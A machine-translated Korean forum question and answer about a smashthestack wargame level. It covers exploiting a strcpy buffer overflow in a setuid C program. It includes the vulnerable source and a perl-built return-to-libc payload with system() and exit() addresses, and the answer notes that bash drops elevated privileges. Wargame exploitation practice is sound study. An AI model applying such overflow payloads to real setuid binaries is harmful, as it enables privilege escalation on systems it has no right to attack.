2017-09-13 22 views
0

기본 버퍼 오버 플로우로 구성된이 "게임"http://smashthestack.org/faq.html (블랙 박스 서버의 ssh를 통해 연결)의 레벨 2를 전달하려고합니다.BOF와 non exec 스택

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <unistd.h> 
#include <stdlib.h> 

int main(int argc, char **argv) 
{ 
    char *filename; 
    char buf[128]; 

    if((filename = getenv("filename")) == NULL) { 
     printf("No filename configured!\n"); 
     return 1; 
    } 

    while(*filename == '/') 
     filename++; 
    strcpy(buf, "/tmp/"); 
    strcpy(&buf[strlen(buf)], filename); 

    struct stat stbuf; 
    stat(buf, &stbuf); 
    printf("The owner of this file is: %d\n", stbuf.st_uid); 

    return 0; 
} 

: 디렉토리/홈/레벨 2에서

가 cat에 대해 getOwner라는 실행 파일과 소스 코드 (해당 레벨에 대한 암호를 포함하는 파일과 각 레벨에 대한 디렉토리가있다) 실행 파일을 소유 한 사용자는 내가 버퍼 오버 플로우를 악용 LEVEL3 같은 쉘를 생성 할 수 있다면, 내가 파일/홈/LEVEL3/암호를 읽어 암호를 얻고 레벨을 이길 수 그래서 LEVEL3

[email protected]:~$ ls -lisa getowner 
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner 

입니다 : 내가 맞습니까? 당신이

[email protected]:~$ readelf -l getowner | grep GNU_STACK 
    GNU_STACK  0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 
를 볼 수

그래서

1) 내가 환경 변수에 쉘 코드를 업로드하고 쉘 코드에 반환 스택에 리턴 주소를 수정하는 파일 이름 변수를 위조했는데,

스택의 코드를 실행할 수 없습니다.

2) 다음, 나는 여전히 레벨 2 사용자 :(

[email protected]:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"') 
[email protected]:~$ ./getowner 
The owner of this file is: -1207961948 
bash-3.1$ id 
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers) 

해요 리턴 투 libc의 공격과 호출 시스템 (/ 빈/bash에)하지만, 양산 쉘에서 사용하려고 시스템()의 주소 0xb7ee59b0, 0xb7edb420 출구()와 0xbffffe32의 주소는 문자열/빈/bash는의 주소이다.

내가 다른 옵션이 아니면 내가 착각 하는가?

답변

0

두 번째 접근 방식은 정확하지만 /bin/sh 또는 (/bin/dash)을 사용해야합니다. /bin/sh/bin/bash에 대한 심볼릭 링크 인 경우).

bash의 첫 번째 작업 중 하나는 euid 특권을 uid에 놓는 것입니다. 자세한 내용은 this stackexchange 답변을 참조하십시오.